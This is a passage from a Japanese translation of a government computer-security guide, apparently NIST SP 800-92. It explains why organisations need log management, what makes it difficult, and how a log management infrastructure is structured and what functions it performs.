2.1.1項～2.1.3項で説明したログの分類には、一般的にいろいろな種類の情報が含まれる。そのため、たとえば、攻撃、詐欺、不適切な利用の検知などの様々な状況において役立つ情報を記録したログもあれば、そうでないログもある。調査対象となっている動作に関する詳細情報を含む可能性が最も高いログは、個々の状況ごとによって異なる。これらの主要なログと比べると、詳細な情報を含まないログもあるが、こうしたログは、主要なログに記録されたイベント間の相関分析を行う場合にのみ役立つことが多い。たとえば、外部ホストから何らかのサーバに向けて悪意のあるコマンドが発行された場合、侵入検知システムはこのことを記録している可能性があるため、これが攻撃に関する主要な情報源と考えられる。その場合、インシデント対応担当者は、同じ IP アドレスから行われた別の接続の試みを探すためにファイアウォールのログを調べることが考えられる。これが攻撃に関する補助的な情報源となる。

ログを使用する管理者は、個々のログ生成元にどの程度の信頼性があるかについても注意することが必要である。適切なセキュリティ対策をされていないログ生成元（通信方法が安全でない場合を含む）は、そうでないものと比べて、ログに関する設定変更やログの改変をされやすいと考えられる。当然ながら、過去に攻撃を許したことのあるホストから得られるログが正確であるかどうかについては、特に注意する必要がある。通常は、その他のログも同じように調査するのが賢明である。

2.2. ログ管理の必要性

ログ管理を行うことには、組織にとっていろいろな意味でメリットがある。十分な詳細を確保したコンピュータセキュリティの記録を適切な期間にわたって保存することを確実にするのに役立つ。ログのレビューおよび分析作業を定例化して日常的に行うことは、セキュリティインシデント、ポリシー違反、詐欺行為、および運用上の問題を発生後短期間で特定することに役立つし、それらの問題を解決するのに役立つ情報を提供する上でも有用である。また、ログは、監査やフォレンジック解析の実行や、組織の内部調査の補助としても役立つし、各種のベースラインを確立したり、運用動向や長期的な問題を明らかにすることにも役立つ。

ログを管理すること自体そもそもメリットがあるが、それに加え、いくつかの法令や規制では特定のログを保存してレビューすることを組織に義務付けていることがある。以下に、組織におけるログ管理の必要性を定めるのに役立つ主な規制、標準およびガイドラインのリストを示す。

- **FISMA Act of 2002(2002 年施行の連邦情報セキュリティマネジメント法)** FISMA は、個々の連邦政府機関において、組織の業務や資産を支援する情報システムのセキュリティを確保するために、全組織的なセキュリティ計画を策定、文書化、および実施することの必要性を強調している。NIST SP 800-53『*連邦政府情報システムにおける推奨セキュリティ管理策*

(Recommended Security Controls for Federal Information Systems)』は、FISMA を支援する目的で作成された文書であり[11]、連邦政府機関に推奨されるセキュリティ管理策の最も重要な情報源となる。SP 800-53 では、ログ管理に関連するいくつかの管理策（監査記録の生成、レビュー、保護、保管を含む）のほか、監査に失格した場合に採るべき措置を説明している。

- **GLBA(金融制度改革法)** [12] GLBA では、金融機関に対し、顧客の情報をセキュリティの脅威から保護することを義務付けている。ログ管理は、セキュリティ違反の可能性を特定し、それらを効果的に解決するのに役立つ。

- **HIPAA Act of 1996(1996 年施行の医療保険の相互運用性と説明責任に関する法律)** NIST SP 800-66『*An Introductory Resource Guide for Implementing the Health Insurance Portability and Accountability Act (HIPAA) Security Rule*』では、HIPAA に関連するログ管理の必要性を一覧で示している[13]。たとえば、NIST SP 800-66 の 4.1 項では、監査ログおよびアクセスレポートの定期的なレビューを行う必要性を説明している。また、4.22 項では、措置および活動の内容に関する文書を少なくとも 6 年間にわたり保管する必要があると規定している。

- **SOX Act of 2002(2002 年の米国企業改革法)** [14] SOX は主として財務および会計の活動に適用されるものであるが、それらを支える情報技術（IT）機能も対象となる。ログを定期的にレビューしてセキュリティ違反の形跡（悪用など）を探すことや、監査員によるレビューに備えてログおよびログレビュー記録を保管しておくことが、SOX に対応していることの根拠となる。

- **PCI DSS(クレジットカード業界のデータセキュリティ基準)** PCI DSS は、クレジットカードの「データを格納、処理、または通信」するような組織に適用される。PCI DSS には、「ネットワークリソースおよびカード保有者データに対するすべてのアクセスを…追跡」することが要件の 1 つとして定められている[15]。

2.3. ログ管理の課題

ログ管理に関して多くの組織が直面する根本的な課題は、ログ管理を行うためのリソースの量的制約と、続々と生成されるログデータとのバランスをいかにしてうまく取るかということである。この項では、最も一般的な種類の課題を 3 つに分類して説明する。第 1 は、ログ生成の段階において、いくつかの問題が発生する可能性があることである。これらの問題は、ログの種類の多様性と生成元の多さによるものである。第 2 は、生成されるログの機密性、完全性、可用性が偶然または作為的に損なわれる可能性があることである。第 3 は、ログの分析を担当する人員が十分な準備をしたり支援を受けたりできない場合が多いことである。2.3.1項～2.3.3項では、この 3 つの分類それぞれについて述べる。

2.3.1. ログの生成および格納

一般的な組織においては、多くのホストの OS、セキュリティソフトウェア、そのほかのアプリケーションがログを生成し、格納している。このことが、次のような点でログ管理を複雑化する原因になっている。

---

11 FISMA および NIST SP 800-53 は、http://csrc.nist.gov/sec-cert/ca-library.html で入手できる。

12 GLBA の詳細については、http://www.ftc.gov/privacy/privacyinitiatives/glbact.html を参照のこと。GLBA は、http://www.ftc.gov/privacy/privacyinitiatives/financial_rule_lr.html でダウンロードできる。

13 HIPAA は、http://www.hhs.gov/ocr/hipaa/ でダウンロードできる。NIST SP 800-66 は、http://csrc.nist.gov/publications/nistpubs/ で入手できる。

14 SOX の詳細および SOX 自体の内容については、http://www.sec.gov/about/laws.shtml を参照のこと。

15 この情報は、http://usa.visa.com/download/business/accepting_visa/ops_risk_management/cisp_PCI_Data_Security_Standard.pdf で入手できる PCI DSS から引用したものである。

- **ログ生成元の多さ** ログは、組織全体にわたって多数のホストに存在するため、ログ管理も組織全体を対象として行う必要がある。また、1 つのログ生成元が複数のログを生成することもある。たとえば、あるアプリケーションが、認証の試みに関するログと、ネットワーク活動に関するログの、2 種類のログを生成するといったことが考えられる。

- **一貫性のないログ内容** 個々のログ生成元は、ログ項目に、ホスト IP アドレス、ユーザ名などの決まった属性値を記録する。効率のために、生成元では、最も重要と考えられる情報のみを記録することが多い。その結果、異なるログ生成元で記録されたイベント同士を結びつけることは難しくなる。なぜならば、イベント同士を結びつけるための共有の属性値が記録されないためである。(たとえば、生成元 1 は送信元 IP アドレスを記録するがユーザ名は記録しない。一方、生成元 2 ではユーザ名を記録するが送信元 IP アドレスは記録しない)。また、属性値の表現形式もログ生成元によって異なることがある。違いは、わずかである場合もあれば(日付の形式が「MMDDYYYY」か、「MM-DD-YYYY」かなど)、もっと複雑な違いがある場合もある(ログの中で FTP プロトコルを示す部分が「FTP」であるか、ポート番号「21」であるかなど)。これにより、異なるログ生成元で記録されたイベント同士を互いに結び付けるのがさらに複雑になる[16]。

- **タイムスタンプのずれ** ログを生成する各ホストは、通常、ホストに内蔵の時計を参照して各ログ項目のタイムスタンプを設定する。したがって、ホストの時計が不正確であればログのタイムスタンプも不正確になる。特に、複数のホストから取得したログを分析する場合、タイムスタンプにずれがあると分析作業がいっそう困難になる。たとえば、タイムスタンプによるとイベント A が発生してから 45 秒後にイベント B が発生したことになっているにもかかわらず、実際はイベント B が先に発生し、その 2 分後にイベント A が発生していたとすると、イベントの解釈を大きく誤る可能性がある。

- **一貫性のないログ形式**[17] カンマ区切りテキスト、タブ区切りテキスト[18]、データベース、syslog、SNMP(Simple Network Management Protocol)、XML(Extensible Markup Language)、バイナリファイルなど、多くの種類のログ生成元はそれぞれに異なるログ形式を使用している[19]。人が読み取ることを考慮した形式のログもあれば、そうでないものもある。また、標準的な形式を採用したものもあれば独自形式のものもある。一部のログには、ローカルファイルとして保存するのではなく、別のシステムに通信して処理することが前提になっているものがある(一般的な例として SNMP トラップがある)。一部の出力形式(特にテキストファイル)では、1 つのログ項目に含まれる属性値の順序や区切り記号がさまざまに異なる可能性がある(カンマ区切り、タブ区切り、XML など)。

ログ分析作業を容易にするために、組織は、内容や形式の異なるログを変換し、データフィールド表現に一貫性のある標準的な形式に統一するための自動化した手段を導入することもある。ログ形式およびデータフィールド表現に一貫性がないと、ログのレビューを行うことにも困難が生じる。な

---

16 Web サーバのログなどのように、ログ内容の標準がいくつか存在する場合もあるが、ほとんどのログ生成元には、標準といえる形式がない。現在行われている標準化作業として、Intrusion Detection Message Exchange Format (IDMEF)がある。IDMEF の最新版インターネット標準案は、http://www.ietf.org/internet-drafts/draft-ietf-idwg-idmef-xml-16.txtで入手できる。

17 ログ項目およびログファイルの構造を説明する用語については、セキュリティコミュニティ内にコンセンサスが形成されていない。この文書においては「ログ内容」および「ログ形式」という用語を定義して使用しているが、他の文書においては用語が異なる場合や、これらの用語の定義が異なる場合がある。

18 テキストファイル形式のログに含まれている内容が必ずテキストのみであると仮定するのも安全ではない。たとえば、攻撃者は、テキストデータを受け付けることが前提になっているプログラムに対してバイナリデータを入力することがある。そうしたデータがログに記録されると、ログ内容は厳密なテキストファイルといえなくなり、ログ管理ユーティリティがエラーで停止したりログデータの処理を誤ったりする可能性がある。

19 バイナリファイルの内容は、当該ソフトウェア固有の独自形式になっていることが多い(Windows システムのイベントログなど)。

ぜならば担当者は、徹底したレビューを行うために、各ログのさまざまなデータフィールドが持つ意味をすべて理解しなければならなくなるからである。

一般に、組織内のほとんどのホストには何らかのコンピュータセキュリティ関連情報を含んだログが（しばしば複数）存在するため、組織全体としてはかなり多数のログを抱えることになる。また、多くのログには大量のデータが毎日のように記録されるため、1 日あたりのログのデータ量も膨大である。このことから、データを適切な期間にわたって保持したり（2.3.2項）、そのデータをレビューしたり（2.3.3項）するための所要リソースが問題となる。ログが分散していること、ログ形式に一貫性がないこと、ログの量が多いことは、いずれもログの生成と格納を困難にする課題である。

2.3.2. ログの保護

ログには、システムおよびネットワークのセキュリティに関する記録が含まれるため、機密性と完全性が損なわれないよう保護する必要がある。たとえば、ユーザのパスワードや電子メールの内容など扱いに注意を要する情報が、意図的または偶然にログに記録される可能性がある。このことにより、ログをレビューする者に対しても、また、承認の有無にかかわらず何らかの手段によってログにアクセスし得るその他の者に対しても、セキュリティ上およびプライバシ上の懸念が生じる。また、ログの格納時または通信中に適切なセキュリティ保護がなされない場合も、作為の有無にかかわらず改変や破損を受けやすいと考えられる。このことは、悪意ある活動が検知されなかったり、悪意を持つ者の身元が証拠の改変によって隠されたりといった、さまざまな問題を引き起こす可能性がある。たとえば、多くのルートキットは、ルートキットのインストールや実行に関するすべての痕跡を消去するためにログを改変するよう設計されている。

組織は、ログの可用性も守る必要がある。多くのログにはサイズの上限がある。たとえば直近のイベント 1 万件まで、あるいはログデータ 100 メガバイトまでを保持する等である。上限に達すると、古いデータが新しいデータで上書きされたり、ログの記録自体が停止したりする可能性があり、いずれにしてもログデータの可用性が損なわれる。組織としてデータ保管の要件に対応するには、ログ生成元のサポートする期間よりも長期にわたってログファイルのコピーを保持しなければならない場合があるため、ログのアーカイブプロセスを確立することが必要になる。ログの量が大きいことから、アーカイブの必要がないログ項目をフィルタ処理によって除外し、ログのサイズを縮小するのが適切な場合もある。アーカイブしたログの機密性と完全性を保護することも同様に必要である。

2.3.3. ログ分析

ほとんどの組織では、従来よりネットワーク管理者およびシステム管理者がログ分析担当者の役割を担い、ログ項目を調べて注目すべきイベントを特定する作業を行ってきた。また、ログ分析は、しばしば管理者や管理職層からは優先度の低い作業とみなされてきた。なぜなら、管理者は、そのほかの任務、例えば、運用の問題への対応、セキュリティ脆弱性の解決などに、迅速に対応しなければならないからである。しかも、管理者は、ログ分析を効率的かつ効果的に行う方法（特に優先順位付け）については、何もトレーニングを受けていないことがしばしばである。また、分析プロセスの大部分を効果的に自動化できるスクリプトやセキュリティソフトウェアツール（ホストベースの侵入検知製品、セキュリティ情報およびイベント管理(SIEM：Security Information and Event Management、以下 SIEM と称す)ソフトウェアなど）も与えられていないことが多い。これらのツールの多くは、人手では容易に発見できないパターンを見つけること、例えば、複数のログから共通のイベントに関連する項目を抽出して相関を行うこと等には、非常に役立つ。もう一つの問題は、多くの管理者が、ログ分析を退屈な作業であり、多くの時間を費やす割には、得られる恩恵がほとんどないと考えていることである。ログ分析は、どちらかといえば、事後的に行うものと捉えられている。つまり、何か問題が起きたときにやればいいものだと思われている。今、どのような動作が行われているかを明らかにし、今、まさに起ころうとしている問題の兆候を発見するという事前予防的な活動としてはなかな

か捉えられていないのである。従来、ログがリアルタイム、あるいはそこまで行かないにしても、ほぼリアルタイムに近いタイミングで分析されることはほとんどなかった。しかしながら、ログ分析のための適切なプロセスがなければ、ログの価値は大幅に低下するのである。

2.4. 課題への取り組み

ログ管理に関して組織が直面する課題は数多くあるが、そうした課題の多くを回避するだけでなく、解決することさえ可能な対策はいくつかある。これらの解決策の概要は、次の 4 つの施策に掲げるとおりである。

- **組織全体のログ管理に適切な優先順位付けを行う** 適用される法令や規制および組織の既存のポリシーを盛り込むために、ログの記録および監視の要件と目標を明確に定めることが必要である。そうすれば、組織におけるリスク低減効果と、ログ管理の役割を果たすために必要な時間およびリソースとのバランスを考慮し、各目標の優先順位付けができるはずである。

- **ログ管理に関するポリシーおよび手順を確立する** ポリシーおよび手順を確立しておくことは有益である。なぜなら、組織全体にわたって、首尾一貫した取り組みを確実にすると同時に、法律上および規制上の要請にも適合するからである。ログに関する標準およびガイドラインが組織全体で遵守されていることを確認する方法の 1 つは、定期的に監査を行うことである。加えて、テストおよび妥当性検証を行うことで、ログ管理プロセスのポリシーおよび手順が正しく遂行されることを、より確かなものとすることできる。

- **セキュアなログ管理インフラストラクチャを構築および維持する** ログ管理インフラストラクチャを構成する要素を作成し、それらがどのように相互作用するかを明確に規定することはとても役立つ。これが、偶発的または意図的な改変や削除からログデータの完全性を守る上での助けとなり、また、ログデータの機密性を保持する上でも助けとなる。さらに、頑健なインフラストラクチャを構築し、推定される量のログデータだけでなく極限状況（広範囲におよぶマルウェアインシデント、ペネトレーションテスト、脆弱性スキャンなど）におけるピーク時の量をも十分処理できるようにしておくことも重要である。

- **ログ管理の各種責任を担うスタッフに対して適切な支援を提供する** ログ管理スキームを定義することに加えて、ログ管理の責務を果たすために必要なトレーニングを担当スタッフに施すほか、ログ管理の支援に必要なリソースを確保するための技能教育も行うべきである。また、ログ管理用ツール、ツール関連文書、ログ管理活動に関する技術的なガイダンスの提供や、ログ管理スタッフへの情報伝達なども支援に含まれる。

2.5. まとめ

組織におけるログの多くは、システムおよびネットワークで発生するコンピュータセキュリティイベントに関する記録を含んだものである。たとえば、悪意ある活動を検知し、システムやデータを損害から保護するために、ほとんどの組織ではウイルス対策ソフトウェア、ファイアウォール、侵入防止システムなど、複数種類のセキュリティソフトウェアを使用しているため、通常、セキュリティソフトウェアがコンピュータセキュリティログの最も重要な生成元である。サーバ、ワークステーションおよびネットワーク装置の OS も、一般的にセキュリティに関係するさまざまな情報（システムイベント、監査記録など）をログに記録する。一般的なログ生成元のもう 1 つの種類にアプリケーションがある。アプリケーションは、情報を OS ログやアプリケーション固有のログに記録する。

コンピュータセキュリティログの数、量、種類は非常に増えてきている。このため、コンピュータセキュリティログ管理が必要となっている。コンピュータセキュリティログ管理とは、コンピュータセキュリティログデータの生成、通信、格納、分析、廃棄するプロセスのことである。コンピュータセキュリティ

の記録を適切な期間、必要な程度な詳細を保って保存するためには、ログ管理は必須である。セキュリティインシデント、ポリシー違反、不正行為、および運用上の問題を明らかにするためにはログの分析作業を日常的な業務として実施することが有益である。また、監査やフォレンジック分析を実行したり、内部調査の裏付けを取ったり、各種のベースラインを確立したり、運用動向や長期的動向からみた問題を明らかにしたりする際にもログは役立つ。以上に加え、組織では、FISMA、HIPAA、GLBA、SOX などの重要な規制、ガイドラインおよび標準に対する適合性を確保するためにも、特定のログを保存および分析することが考えられる。

ログ管理に関する根本的な問題は、ログ管理を行うためのリソースの量的制約と、続々と生成されるログデータとのバランスをいかにしてうまく取るかということである。ログの生成および保存は主に、ログ生成元の数が多いこと、ログの形式が生成元によって異なり一貫性がないこと、および、日々大量のログデータが生成され続けることによって複雑化している。ログ管理には、ログの機密性および完全性を侵害から守ることと、ログの可用性を支えることも含まれる。また、ログデータの分析作業を、ネットワーク管理者およびシステム管理者に定期的、効率的、効果的に行わせるにはどうすればよいかという問題もある。ログ管理の主要な課題に取り組む上で、推奨される重点対策を以下に掲げる。

- 組織全体のログ管理に適切な優先順位付けを行う
- ログ管理に関するポリシーおよび手順を確立する
- セキュアなログ管理インフラストラクチャを構築および維持する
- ログ管理の各種責任を担うスタッフに対して適切なトレーニングを実施する

（本ページは意図的に白紙のままとする）

3. ログ管理インフラストラクチャ

「*ログ管理インフラストラクチャ*」は、ログデータの生成、通信、格納、分析および廃棄に使用するハードウェア、ソフトウェア、ネットワーク、およびメディアで構成される[20]。ほとんどの組織は、1 つまたは複数のログ管理インフラストラクチャを持っている[21]。このセクションでは、典型的なログ管理インフラストラクチャのアーキテクチャと、その構成要素間で行われる相互作用について説明する。次に、ログ管理インフラストラクチャ内で実行される基本的な機能について述べる。さらに、ログ管理ソフトウェアの主要な 2 つの分類である、syslog ベースの一元管理ログソフトウェアおよび SIEM ソフトウェアについて検討する。また、このセクションでは、ログ管理インフラストラクチャにおいて役立つ可能性のあるその他の種類のソフトウェアについても説明する。

3.1. アーキテクチャ

ログ管理インフラストラクチャは一般に、次の 3 つの層で構成される。

- **ログ生成** 第 1 の層には、ログデータを生成するホストがある。当該ホストのクライアントアプリケーションまたはサービスが稼動することで、ネットワーク経由で第 2 層にあるログサーバにログを記録するホストもあるし、ほかの手段によってログを供給するホストもある。たとえば、ログサーバが、当該ホストに接続することを認証し、ログファイルのコピーを取得することを許可する等の手段がある。

- **ログ分析および格納** 第 2 の層は、1 基または複数のログサーバで構成される。これらのログサーバは、ログデータまたはそのコピーを第 1 層のホストから受け取る。これらのサーバへのデータ転送は、リアルタイムまたはそれに準ずる方法で行われる場合もあれば、所定のスケジュールや転送待ちログデータ量に基づいてバッチ処理的に行われる場合もある。ログデータを複数の生成元から受け取るようなサーバは、「*コレクタ*」または「*アグリゲータ*」と呼ばれることもある。ログデータの格納場所は、当該ログサーバ自体であることも、別のデータベースサーバ上であることもある。

- **ログ監視** 第 3 の層にはコンソールがあり、ログデータや自動的に分析された分析結果を監視したりレビューするのに使用される。ログ監視コンソールは、報告の作成にも使用できる。一部のログ管理インフラストラクチャにおいては、ログサーバおよびクライアントの管理もコンソールから行えることがある。また、個々のユーザごとに、コンソールユーザの特権を必要な機能やデータソースに限定できる場合もある。

第 2 の層（ログ分析および格納）は、複雑さと構造に関しては非常に多くの種類がある。最も単純なのは、すべてのログ分析および格納を 1 基のログサーバのみでまかなう形態である。より複雑な例としては、次のような形態が考えられる。

- 複数のログサーバに、それぞれ特定の機能を担当させる。たとえば、1 基のサーバでログの収集、分析、および短期的な格納を行い、もう 1 基のサーバで長期的な格納を行う。

---

[20] この文書ではもっぱらコンピュータセキュリティログデータの見地からログ管理インフラストラクチャについて述べるが、同じインフラストラクチャをその他の種類のログデータに使用することもできる。このセクションに示す全般的な原則やテクノロジーは、その他のログに関するニーズにも適用可能である。

[21] 組織によっては（特に小規模な組織の場合）単一のログ管理インフラストラクチャを組織全体で使用するという選択ができることもあるが、ほとんどの組織においては、単一インフラストラクチャは現実的でない。その理由としては、スケーラビリティの制約を受けること、論理的または物理的に切り離された複数のネットワーク上でログが生成されること、堅牢性について懸念があること（当該インフラストラクチャに障害が発生すると組織全体のログ管理に影響するなど）、また、ログ生成元やインフラストラクチャ構成要素の間で相互運用性の問題が生じる場合があること、などが挙げられる。

- 複数のサーバに、それぞれ特定のログ生成元を対象とした分析／格納を担当させる。この形態では、ある程度の冗長性も確保できる。つまり、ログ生成元は、その主たるデータ供給先であるログサーバが使用不能になった場合に、予備のログサーバに切り替えることができる。また、相互にログデータを共有するようにログサーバを構成することもでき、これも冗長性の確保に役立つ。

- 2レベルに分けたログサーバ群を用意し、第1レベルは分散ログサーバ、第2レベルはより一元管理の度合いが強いログサーバとして利用する。仕組みとしては、第1レベルのサーバが生成元からログを受け取り、ログの一部または全部を第2レベルのサーバに転送するといった具合になる（このアーキテクチャでさらにレベルを増やせば、柔軟性、スケーラビリティ、冗長性をいっそう向上できる）。場合によっては、第1レベルのサーバをログキャッシュ用サーバとし、生成元からログを受け取ってほかのログサーバに転送する機能だけを担当させることも考えられる。そのようにすると、第2レベルのログサーバが直接攻撃を受けることを防止できる。また、生成元と第2レベルのログサーバの間のネットワークに信頼性の問題がある場合（インターネットを介さないとログサーバにアクセスできない場合など）にも有効である。この場合、ログをいったん生成元から信頼のおけるローカルネットワーク上のログキャッシュ用サーバに転送し、その後、ネットワーク接続が許可された時点で、第2レベルのへログサーバに転送するといったことが可能になる。

ログを生成するホストは、組織のネットワーク上のあらゆる場所に存在するため、ログ管理インフラストラクチャ構成要素間の通信は、組織の正系ネットワークを介して行われることが多い。しかし、重要な機器（ファイアウォールおよびネットワーク侵入検知システムなど。これらのログデータはしばしば大量になる）からのログ取得や、ログサーバ間のログデータ転送など、特定の通信については、論理的または物理的に分離されたログ用ネットワークの使用を検討すべきである。広範囲におよぶマルウェアインシデントやネットワークベースの攻撃などが発生しているあいだは、正系ネットワークが不安定または使用不能になる可能性があるためである。分離されたログ用ネットワークを利用するもう一つの理由として、ログデータの傍受の防止がある。分離されたログ用ネットワークを使用しない場合は、例えばデータ暗号化などの追加的なセキュリティ管理策により、正系ネットワーク上のログ通信を保護する方法もあろう。とはいえ、分離されたログ用ネットワークを確保することには、ログ管理にしか使用しない構成要素を攻撃から守るという、他のメリットがある。

ログ管理インフラストラクチャ側からみると、インフラストラクチャとシステム的に連携していないログ生成元ホストが存在する場合もあるはずだ。たとえば、生成元のコンピュータがネットワークに接続されていない場合や、レガシーシステムまたはアプライアンスベースの装置の構成でログサーバにログを転送する設定ができない場合などがこれに該当する。こうしたホストのログデータをログ管理インフラストラクチャに取り込みたい場合は、これを帯域外で行う解決方法がある。たとえば、ログを手動で、ライトワンスメディア（CD-ROMなど）に転送してから、メディアからログサーバにコピーすることなどである[22]。また、ログ管理インフラストラクチャは、常時の接続を確保できないホストや接続帯域幅の限られたホスト、例えば、モバイルホスト、接続にダイアルアップモデムを使用するホストにも対応することが必要である。これらのホストをログ管理インフラストラクチャに連携させる方法については、極めて限定されている可能性があるが、だからといって、それらのホストのログの重要性が変わるわけではない。

組織によっては、単一のログ管理インフラストラクチャを組織全体で使用することも考えられるが、一般的には複数のインフラストラクチャを持つことが多い。しかも、それらが相互に連携して運用が行われるとは限らない。ログ管理インフラストラクチャが単一の場合、組織内の必要なログデータすべてを単一の場所でレビューできるというメリットもあるが、大規模な組織では、インフラストラクチャ

[22] データをログ管理インフラストラクチャに転送する必要がない場合は、生成元においてローカルの管理者がログ管理および分析を行ってもよい。

の大きさと、処理し保存しなければならないデータの量を考慮すると、一般的には現実的ではない。そのため、大規模な組織になればなるほど顕著だが、大抵の組織は、複数、時として数十から数百のログ管理インフラストラクチャを持っている。個々のインフラストラクチャの対象範囲はそれぞれ異なるが、これは、対象範囲が多くの要因により決定されるためである。多くの要因とは、たとえば、組織体制、システムの種類（エンタープライズセキュリティシステム専用のインフラストラクチャなど）、ログの種類（アプリケーション監査ログ専用のインフラストラクチャなど）、および、施設の場所などが関係する。

3.2. 機能

ログ管理インフラストラクチャは一般に、ログデータの格納、分析および廃棄をサポートするいくつかの機能を実行する。これらの機能の実行において、通常はログの原本が改変されることはない[23]。ログ管理インフラストラクチャが一般的に備える機能を次に示す。

■ **全般**

– ***ログの構文解析*** ログからデータを抽出し、解析した後、結果を別のログ操作プロセスの入力として使用できるようにする機能である。単純な例としては、テキストベースのログファイルの各行にカンマ区切りで 10 個の属性値が含まれている場合、そこから 10 個の属性値を抽出するのがログの構文解析処理である。ログの構文解析は、ログの変換や参照などさまざまなログ機能における処理の一部として実行される。

– ***イベントのフィルタ処理*** 有用な情報が含まれるとは考えにくい特性を持つログ項目を、分析、報告、および長期間の保持の対象から除外する機能である。たとえば、重複する項目や標準的な情報項目などは、ログ分析において有用性のある情報を含んでいないため除外できる可能性がある。フィルタ処理は、ログファイル原本には変更を加えないため、イベントの生成および短期的な格納には影響しない。

– ***イベントの集約*** 類似のログ項目を統合し、イベント発生件数の情報を含んだ単一のログ項目にする機能である。たとえば、1 回のスキャンで 1000 件の項目が生成された場合は、それらを集約し、スキャンの対象となったホスト数を示す情報を含んだ 1 件の項目に置き換えることも考えられる。集約は、ログ原本が生成される時点で実行される（関連する類似イベントの数を生成元が計数し、その数を含めたログ項目を定期的に記録する）ことがしばしばあり、また、後述するログの縮減またはイベント相関プロセスの一環として実行されることもある。

■ **格納**

– ***ログのローテーション*** あるログファイルの記録が完了したとみなされるときに、そのログファイルを閉じて新しいログファイルを開く機能である。一般に、所定のスケジュール（1 時間ごと、1 日ごと、1 週ごとなど）に従って行われるか、ログファイルが所定のサイズに達したときに行われる。ログのローテーションを行う最大のメリットは、ログ項目を保全しつつログファイルのサイズを管理しやすい大きさに保てることである。ローテーションによって保全したログファイルは、圧縮することでストレージ容量を節約できる。また、ログのローテーション時に、アーカイブしたログを対象にスクリプトが実行されることが多い。たとえば、悪意ある活動を特定するための分析処理や、所定の特性を持つログ項目だけを保全するためのフィルタ処理などがスクリプトによって実行される。多くのログ生成元は、ログローテーション機能を備えている。また多くのログファイルは、単純な

[23] 元のログが改変されないようにしておくと、それらを証拠目的で使用する際に役立つ。

スクリプトや、生成元で提供しない機能を備えていることのあるサードパーティ製ユーティリティによってローテーションさせることができる。

- ***ログのアーカイブ*** 長期間にわたってログを保管する機能であり、一般的にはリムーバブルメディア、ストレージエリアネットワーク（SAN）、ログアーカイブ専用アプライアンスまたはサーバなどに、ログを保管する。アーカイブによるログの保全は、法律上または規制上の要件を満たすために必要とされることが多い。ログのアーカイブの詳細については、4.2 項を参照のこと。ログのアーカイブには、保管および保全の 2 種類がある。*ログの保管*は、標準的な運用活動の一環として定期的にログをアーカイブすることである。*ログの保全*は、特に注目すべき活動についての記録が含まれているログを、破棄せずにとっておくことを示す。保全は一般的に、インシデント対応や調査における裏付けのために行われる。

- ***ログの圧縮*** ログファイルの意味内容を変化させることなく、格納に必要なストレージ容量が少なくなるような方法でログファイルを格納する機能である。ログのローテーションまたはアーカイブの際に行われることが多い。

- ***ログの縮減*** ログから不要なログ項目を削除することで、よりサイズの小さい新たなログを作成する。これに似たプロセスに、*イベントの縮減*がある。これは、すべてのログ項目から不要なデータフィールドを削除するプロセスである。ログの縮減およびイベントの縮減は、必要なログ項目やデータフィールドのみを長期的な格納の対象とするために行われ、ログのアーカイブの際に実行されることが多い。

- ***ログの変換*** ある形式のログの構文解析を行い、その中の項目を別の形式で格納する機能である。変換の一例としては、データベースに格納されているログからデータを抽出し、XML 形式でテキストファイルに保存する処理などが考えられる。多くのログ生成元は、それ自身が生成するログを別の形式に変換する機能を備えているが、サードパーティ製の変換ユーティリティもある。ログの変換処理には、フィルタ処理、集約、正規化などのアクションが含まれることもある。

- ***ログの正規化*** 個々のログデータフィールドを特定のデータ表現に変換し、一貫性のある方法で分類する機能である。正規化の最も多い用途の 1 つは、日時を統一の形式で格納することである。たとえば、あるログ生成元では、イベント時刻を「Timestamp」という 12 時間形式（2:34:56 P.M. EDT）で格納する。これに対し、別のログ生成元では、イベント時刻を「Event Time」という 24 時間形式（14:34）のフィールドで格納し、タイムゾーン情報を、異なる形式（-04:00）で「Time Zone」という別のフィールドに格納する[24]。このように複数のログ形式が使われている場合、データを正規化すると分析やレポートの作業がはるかに容易になる。しかしながら、正規化処理はリソースの負担がひじょうに大きくなる可能性がある。とりわけログ項目の内容が複雑な場合（一般に、侵入検知ログなど）はそうである。

- ***ログファイルの完全性チェック*** アーカイブしたログに変更が加えられた場合にそれを確実に検知できるよう、各ファイルのメッセージダイジェストを算出し、メッセージダイジェストを安全な方法で格納しておく機能である。*メッセージダイジェスト*は、データを一意に識別するディジタル署名の一種であり、データの内容が 1 ビットでも変更されるとまったく異なるメッセージダイジェストが生成される特性を持つ。最もよく使用されるメッセージダ

[24] 時刻の正規化は、ひじょうに困難な場合が多い。タイムゾーンが異なる複数のシステムを持つ組織では、ログに記録されるすべての時刻を統一的なタイムゾーンに変換する必要がしばしば生じる。また、システム間で時計の同期がとれているとは限らないため、ずれのある生成元で記録されたログ項目に対して時刻の加算／減算が必要となる場合もある。生成元の間に時計のずれが生じないよう、NTP（Network Time Protocol）サーバなどの時刻同期テクノロジーを可能な限り使用すべきである。

イジェストアルゴリズムは、MD5 および SHA-1（Secure Hash Algorithm 1）である[25]。改変されたログファイルから算出したメッセージダイジェストは、元のメッセージダイジェストと一致しないため、これを比較することでファイルが改変されたかどうかを判定できる。元のメッセージダイジェストは、FIPS 承認済み暗号化アルゴリズムの使用、読み取り専用メディアへの格納、またはその他の適切な手段によって、改変を防ぐ必要がある。

■ **分析**

– ***イベント相関*** 複数のログ項目の間にある関連性を見つける機能である。最も一般的なイベント相関の方法はルールベースの相関である。この方法は、単一または複数の生成元から得られた複数のログ項目を、記録された属性値（タイムスタンプ、IP アドレス、イベントの種類など）に基づいて照合する。イベント相関には、その他にも様々な方法がある。統計的手法や視覚化ツールを用いた方法などである。自動的にイベント相関を行う場合は、相関処理に成功すると、ばらばらの情報を 1 つにまとめた新しいログ項目を結果として生成するのが一般的である。また、その情報の特性によっては、特定したイベントに関して追加調査が必要であることを示す警告も併せて生成されることがある。

– ***ログの参照*** ログ項目を人が読める形式で表示する機能である。ほとんどのログ生成元は、何らかのログ参照機能を備えているが、サードパーティ製のログ参照ユーティリティもある。ログビューアによっては、フィルタ処理機能や集約機能を備えていることもある。

– ***ログの報告*** ログ分析の結果を報告する機能である。特定の期間における重要な活動内容を要約して伝えたり、特定の 1 つのイベントや一連のイベントに関する詳細情報を記録したりする目的で実施されることが多い。

■ **廃棄**

– ***ログの消去*** ある一定の日時よりも前の時点のログから、全てのログ項目を削除する機能である。ログの消去は、重要でないログ、あるいはアーカイブの作成が完了したログのように、不要となった古いログを除去するために行われることが多い。

